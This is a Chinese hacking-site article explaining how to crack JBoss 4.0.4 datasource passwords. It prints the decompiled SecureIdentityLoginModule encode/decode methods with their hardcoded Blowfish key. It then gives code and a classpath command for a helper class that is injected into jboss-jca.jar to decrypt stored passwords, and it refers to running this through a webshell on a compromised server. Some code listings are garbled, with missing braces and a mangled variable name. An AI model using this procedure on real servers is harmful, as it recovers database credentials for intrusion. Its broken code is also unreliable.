热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

JBOSS解密数据库连接池的问题汇总

发布时间:2013-12-28 14:47文章来源:网络文章作者:bite 点击次数:
摘要:jboss下是可以对数据源密码进行加密的,相关的文章很多,我这里要讲的是如何破解。...

用了JDgui还有看了前辈门的解密方法我一个没成功过。

jboss-4.0.4.GA为例,解密的原理很简单,先找到加密所使用的方法:

java -cp "xxx.jar ……" org.jboss2.resource.security.SecureIdentityLoginModule 13456

加密方法好了,找到SecureIdentityLoginModule所在的包jboss-jca.jar,找到SecureIdentityLoginModule.class,稍稍反编译一下就全明白了,加密使用的是: private static String encode(String secret),自然解密的到是:private static char[] decode(String secret)

 

  1. private static String encode(String secret) 
  2. throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException 
  3. byte[] kbytes = "jaas is the way".getBytes(); 
  4. SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); 
  5.  
  6. Cipher cipher = Cipher.getInstance("Blowfish"); 
  7. cipher.init(1, key); 
  8. byte[] encoding = cipher.doFinal(secret.getBytes()); 
  9. BigInteger n = new BigInteger(encoding); 
  10. return n.toString(16); 
  11.  
  12. private static char[] decode(String secret) 
  13. throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException 
  14. byte[] kbytes = "jaas is the way".getBytes(); 
  15. SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); 
  16.  
  17. BigInteger n = new BigInteger(secret, 16); 
  18. byte[] encoding = n.toByteArray(); 
  19.  
  20. Cipher cipher = Cipher.getInstance("Blowfish"); 
  21. cipher.init(2, key); 
  22. byte[] decode = cipher.doFinal(encoding); 
  23. return new String(decode).toCharArray(); 
  24.  
  25. public static void main(String[] args) 
  26. throws Exception 
  27. String encodeencode = encode(args[0]); 
  28. System.out.println("Encoded password: " + encode); 

好了加密解密参数都有了最关键的是如何在webshell执行看了大牛门的解密java我在线测试了一下不成功没有回显不知道是不是阉割版的

byte[] kbytes = "jaas is the way".getBytes()

关键这个前面的大牛在7月份就爆出来了

现在我说的是我的2B笨办法大家可以尝试一下 度娘第一页代码全都偏了我整理了一下

建立文件

jboss-4.0.4.GA\server\default\lib\A.java,内容:

 

  1. package org.jboss.resource.security; 看不懂的就是函数A的意思啦 直接贴代码就完了 
  2. class A{ 
  3. public static void main(String args[]) 
  4. throws Exception 
  5. SecureIdentityLoginModule seq = new SecureIdentityLoginModule(); 
  6.  
  7. char[] decode = seq.decode(args[0]); 
  8. System.out.println("Haha, DEcoded password: " + new String(decode)); 

再建立文件

再建一个文件SecureIdentityLoginModule.java:package org.jboss.resource.security;

SecureIdentityLoginModule.java:

package org.jboss.resource.security;

class SecureIdentityLoginModule{
static String encode(String s){
return s;
}

static char[] decode(String s){
return new char[100];
}
}

这个SecureIdentityLoginModule是可以单独编译的,然后把编译后的

SecureIdentityLoginModule.class放到\jboss-4.0.4.GA\server\default\lib\org\jboss\resource\security

最后一步,把编译好的A.class添加到jboss-jca.jar包中(作坏事前先备份)。

调用方法:

java -cp "D:\jboss-4.0.4.GA\lib\jboss-jmx.jar;D:\jboss-4.0.4.GA\lib\jboss-common.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar;D:\jboss-4.0.4.GA\server\default\lib\jbosssx.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar" org.jboss.resource.security.A 加密字符串

linux下直接就是把D 改成/home/jboss-4.0.4.GA\lib\jboss-jmx.jar; 等等 我直接把这四个都打包到了本地直接本地假设java环境就可以了反正都是通用的 反正大牛讲的

那个直接编译的我是用不成这个留帖子自己看 有需要的也可以辅助走哦

标签分类:

上一篇:换位加密法与解密的实现 VC 版
下一篇:Java 后门解析-unicode编码